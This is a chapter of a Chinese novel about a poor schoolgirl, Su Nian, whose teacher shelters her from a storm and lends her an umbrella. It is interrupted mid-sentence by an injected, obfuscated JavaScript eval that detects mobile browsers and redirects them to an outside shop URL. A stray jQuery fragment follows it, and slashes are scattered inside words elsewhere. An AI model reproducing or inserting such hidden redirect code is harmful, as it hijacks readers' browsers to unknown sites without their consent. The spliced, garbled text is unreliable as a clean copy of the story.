下午第四节课是自习。
三点半，窗外开始下雨。起初玻璃上只溅了几个泥点，不到十分钟，雨水就汇成线，淌下玻璃，带走窗台的灰尘，留下一道道黑泥。
教室里开始不安分。前排有人频频回头看挂钟，张逸飞把物理卷子卷成纸筒，敲着桌斗，笃笃作响。
苏念低头看着数学练习册。直尺压/在纸页上，铅笔沿尺边画下一条直线，连上三角形的两个顶点。她收好直尺，开始写解题步骤。
下课铃响了。
刘国强站在讲台上，拍了拍黑板擦，扬起一片粉笔灰。“下周三期中考试。周末把错题本看一遍，别光顾着玩。那些连辅助线都找不到的，趁这两天多做几道题，别拉班级平均分。”
没人听进去。刘国强前脚刚走，教室就乱了。
陈小满把书包甩到肩上，从课桌里摸出一把折叠伞，按了下开关，伞面弹开一半卡住了。她用力把伞骨推上去。“苏念，你带伞没？”
“没。”苏念把练习册收进书包。
“我这伞太小，遮不了俩人。我先走了，我妈在校门口等我。”陈小满把伞收拢，跑了出去。
张逸飞脱下校服外套顶在头上，从后门冲出去。他在走廊踩中一个水坑，泥水溅到隔壁班男生的裤腿上，引来一阵骂声。
苏念拉好书包拉链，又检查了一遍。最外层放着那本蓝皮周记本，里面夹着便签纸和明信片。她把书包抱在胸/前，走出教室。
楼道里全是人，鞋底踩在水泥地上，带起泥水。
一楼大厅挤满了没带伞的学生。外面雨很大，砸在水泥地上，溅起很高的水花。校门口停满了接孩子的电动车和自行车，穿雨衣的家长在铁栅栏外张望。
苏念走到大厅边缘，风吹来带着水汽。她往后退了两步，靠在承重柱后面。
一辆黑色轿车停在校门外的马路边，车灯亮着，雨丝在光束里穿行。
周雨晴撑着一把透明长柄伞，从大厅走出去。李思思站在台阶上喊她：“周雨晴，你家车来啦？”
“嗯，我爸顺路来接我。”周雨晴回头应了一声。她穿着干净的白球鞋，避开地上的水坑。走到车旁，后座车门推开，她收伞坐了进去。
车窗摇下一点，周雨晴往大厅的方向看了一眼。
大厅里挤着几十个学生，有人抱怨，有人给家里打电话。周雨晴的视线扫过柱子旁的苏念。苏念抱着书包，低头盯着地上的积水。
周雨晴收回目光，把湿伞放在脚垫上，拿出英语单词本。一个没伞只能在柱子后干等的女生，写不出那段话。她没必要在这种人身上浪费精力，期中考试拿年级第一才是正事。
黑色轿车开走，尾灯在雨中暗去。
大厅里的人少了一半，家长陆陆续续接走了自己的孩子。
苏念站在柱子后面，小腿站得有点发酸。她换了个姿势，把重心移到右腿。
她估算着距离。从教学楼到校门口的公交站，大概两百米，中间没有遮挡。跑过去要半分钟。
书包是帆布的，不防水，半分钟足够淋透。水会渗进最外层，泡烂那本蓝皮周记本，便签纸上的钢笔字会晕开，变成一团蓝黑的墨迹。
不行。
不能跑。
苏念抬起头，看了一眼天。云层很厚，灰蒙蒙的，雨没有变小的趋势。
姜翠花有关节炎，阴雨天膝盖疼得下不了楼。就算能下楼，家里也只有一把坏了伞骨的黑伞，她不会为送伞走这么远。苏敏在深圳，这个点正在流水线上打螺丝。
没人会来。
苏念把书包抱得更紧，下巴抵在书包的拉链上。
等天黑，等雨停，或者等大厅里的人走/光，她就把校服脱下来包住书包冲出去。
地上的积水慢慢漫过台阶。几个男生等得不耐烦，把书包顶在头上冲进雨里。
苏念看着他们的背影，脚尖往前挪了一寸。
她打算再等十分钟，雨还不停，她就脱校服。
一双沾了泥水的白色帆布鞋停在苏念的视线里。
苏念顺着帆布鞋往上看，是灰色的针织衫，深蓝色的牛仔裤，肩上挎着一个米白帆布包。
林知意撑着一把格子伞，站在台阶下。
雨水打在伞面上，声音沉闷。
“苏念。”林知意叫她的名字。
苏念抬起头。
林知意把伞往上抬了抬，露出脸。“没带伞？”
“嗯。”
“走吧，”林知意往前走了一步，把伞檐移到苏念头顶，“我送你到公交站。”
苏念站着没动。“不用了，林老师。我等雨小点再走。”
“这雨一时半会儿停不了。”林知意看着她怀里的书包，“书包淋湿了，里面的书会坏，走吧。”
林知意没有多劝，语气平常。她站在台阶下，握着伞柄，等苏念做决定。
苏念看了一眼书包拉链，松开手，把书包背到背上，走下台阶，站进伞下。
格子伞不算大，容纳两个成年人有些勉强，但苏念很瘦，刚好能被罩住。
两人并肩往校门外走。
雨点砸在伞面上，声音很大。地上的积水没过了鞋底。
苏念走在左边，林知意走在右边。
苏念刻意往左边靠，想拉开距离，怕自己的校服蹭到林知意的衣服。她刚往左迈出半步，左肩就淋到了雨。
林知意把伞柄往左边倾斜，伞面跟着移过来，重新遮住苏念的肩膀。
“靠过来点。”林知意说。
苏念往右挪了半寸。
两人靠得很近。苏念闻到一股味道，不是香水，是洗衣粉的淡香混着空气里的水汽。
校门外的马路上是一个个水坑。
“小心水坑。”林知意提醒。
苏念低头看路。林知意的步子不快，迁就着苏念的节奏。遇到大水坑，两人就同时绕开。
一辆面包车从旁边开过，车速很快，轮胎碾过水坑，溅起一片泥水。
林知意把伞往下压，挡在苏念身侧。泥水打在伞面上，发出啪的一声。
车开远了，林知意把伞重新撑高。
苏念转过头，余光瞥见林知意的右肩。
伞面大半都斜在苏念这边，林知意的右肩完全/露在伞外。灰色的针织衫被雨水打湿，颜色变深，贴在肩膀上。帆布包的带子也湿透了，往下滴水。刚才溅起的水，也有几滴落在她的袖子上。
苏念张了张嘴。
“林老师，你的衣服湿了。”苏念指着林知意的肩膀。
林知意看了一眼右肩，不在意地转回视线。“没事，回去换一件就行。你书包没湿吧？”
“没。”苏念把手背到身后，摸了摸书包，是干的。
两百米的路，走了三分钟。
公交站台有顶棚，底下站着几个等车的人。
两人走到站台棚下，林知意收起伞。水珠顺着伞骨淌下来，在地上汇成一小滩。
“你坐几路？”林知意问。
“302。”
林知意看了一眼站牌。“302要等很久，你拿好书包。”
她把手里的格子伞递过去。
苏念没接。“林老师，伞给我了，你怎么回去？”
“我打车。”林知意把伞柄塞进苏念手里，手指碰到她的手背，有些凉。“我家离这近，打车十分钟就到了。”
苏念握住伞柄。“明天周六，不上课，我周一还你。”
“不急。”林知意把湿透的帆布包往上提了提。
一辆亮着空车灯的出租车从远处开过来，轮胎碾过积水，发出嘶嘶的声响。
林知意走到站台边缘，冲马路招手。
出租车减速，停在站台前。
林知意拉开后座车门坐进去，车门关上，隔绝了外面的雨声。
车窗没有摇下。出租车重新启动，汇入车流，很快消失在雨中。
苏念站在公交站台下。
风吹过来，卷着雨水打在她的裤腿上，小腿有些发凉。
她低头看着手里的格子伞。
伞面是红黑相间的格子图案，伞骨结实，伞柄是木质的，上面还留着林知意手心的温度。
苏念的手指收紧，木质的纹理硌着掌心。
指尖在发颤，不是因为冷。
她把伞靠在腿边，从书包侧袋拿出一张纸巾，擦干左肩的水迹。
一辆302路公交车开进站台。车门打开，里面挤满了人。
苏念收起纸巾，拿着伞走上车。
投币箱里传来硬币落下的声音。苏念往车厢后面走，找了个靠窗的位置站着。
车窗玻璃上全是水汽，看不清外面的街景。
苏念把书包抱在胸/前，格子伞挂在手腕上。
她看着玻璃上的水珠，一颗水珠汇集了周围的小水滴，变大，变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849275|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
重，然后快速滑落，在玻璃上留下一道痕迹。
她想起了大厅柱子后面的计算。
她算好了一切最坏的结果，算好了雨不会停，没人会来，怎么保护书包。
唯独没有算到那双沾了泥水的白色帆布鞋。
公交车在红绿灯前停下。
苏念用手指在起雾的车窗上画了一条线，很直。
她收回手，握住挂在手腕上的伞柄。
温度已经散去，但木头本身的质感很踏实。
她看着那条线。
明天是周末。
她决定明天去一趟旧图书馆。
管理员大爷的坐垫还在那里，那本蓝皮周记本里的便签纸也还在。
苏念把伞柄握得更紧了些。
公交车重新启动，车厢摇晃，苏念站得很稳。
她看着窗外模糊的街灯，心里算着下周三的期中考试。
她要把数学卷子上的辅助线全部画出来。
不为刘国强，也不为姜翠花的唠叨。
就为了那两张便签纸，为了这把红黑格子的雨伞。
她不想再做那个只会躲在柱子后面计算积水的人。
雨下得更大了。
苏念把书包拉链往上拉了拉，确保不会漏进一滴水。
她看着手里的伞，伞面上的水已经滴干了。
周一还伞的时候，她要把伞折得整整齐齐。
她会在伞里夹一张纸条。
上面只写一句话。
谢谢你的伞。
公交车报站，城中村到了。
苏念拿着伞下车，撑开。红黑相间的伞面在雨中打开。
她踩着地上的积水，一步步往巷子深处走。
巷子口的修鞋老头今天没出摊，苏念走过那个空荡荡的摊位，没有停留。
她有自己的伞了。
至少这个周末，她不需要再等雨停。
回家。
姜翠花在厨房炒菜，油烟机的声音盖过了外面的雨声。
苏念把伞收拢，放在门口的沥水架上。
“回来了？”姜翠花头也没回，“鞋湿了没？湿了赶紧脱，别把地板踩脏了。”
“没湿。”苏念应了一声。
她看着沥水架上的格子伞，红黑相间的颜色在昏暗的楼道里很显眼。水珠顺着伞尖滴在地板上。
苏念走进房间，关上门。
她把书包放在书桌上，拉开拉链，拿出那本蓝皮周记本。
本子是干的，便签纸上的字迹清晰。
苏念看了一会儿，把本子收好。她拿出数学练习册，翻到下一页。
直尺压/在纸上，铅笔画下一条直线，很直。
窗外的雨还在下。
苏念没有抬头，只看着眼前的辅助线，一条，接着一条，把那些原本不相交的点全部连了起来。
有个人陪着走一段路，原来就不会再怕水坑了。
苏念握紧铅笔，笔尖在纸上发出沙沙的响声。
她写下最后一个数字，合上练习册。
苏念看着桌上的蓝色周记本，把手放在封面上。
指尖不再发颤。
很稳，很踏实。
她知道自己该做什么了。
下周三，期中考试。
她要让所有人看到，那个坐在最后一排、连伞都没有的苏念。
她一直都在，只是在等一个撑伞的人。
现在，人来了，伞也来了。
苏念看着桌上的铅笔。
她拿起笔，在草稿纸上写下自己的名字。
苏念。
一笔一划，很用力，笔尖几乎要划破纸背。
她看着这两个字。这是她的名字。
从今天起，这个名字要不一样了。
苏念放下笔，转身走出房间。
厨房里，姜翠花把菜端上桌。“吃饭了。”
“来了。”苏念回答，声音平静。
苏念看着沥水架上的格子伞，走过去，把伞柄上的水珠擦干。
然后，走到桌前，端起碗。
吃饭。
明天，还有很多事要做。
她要画很多辅助线。
她要写很多字。
她要让那个撑伞的人知道。
她的伞，没有白撑。
苏念吃了一口饭，看着窗外。
雨还在下。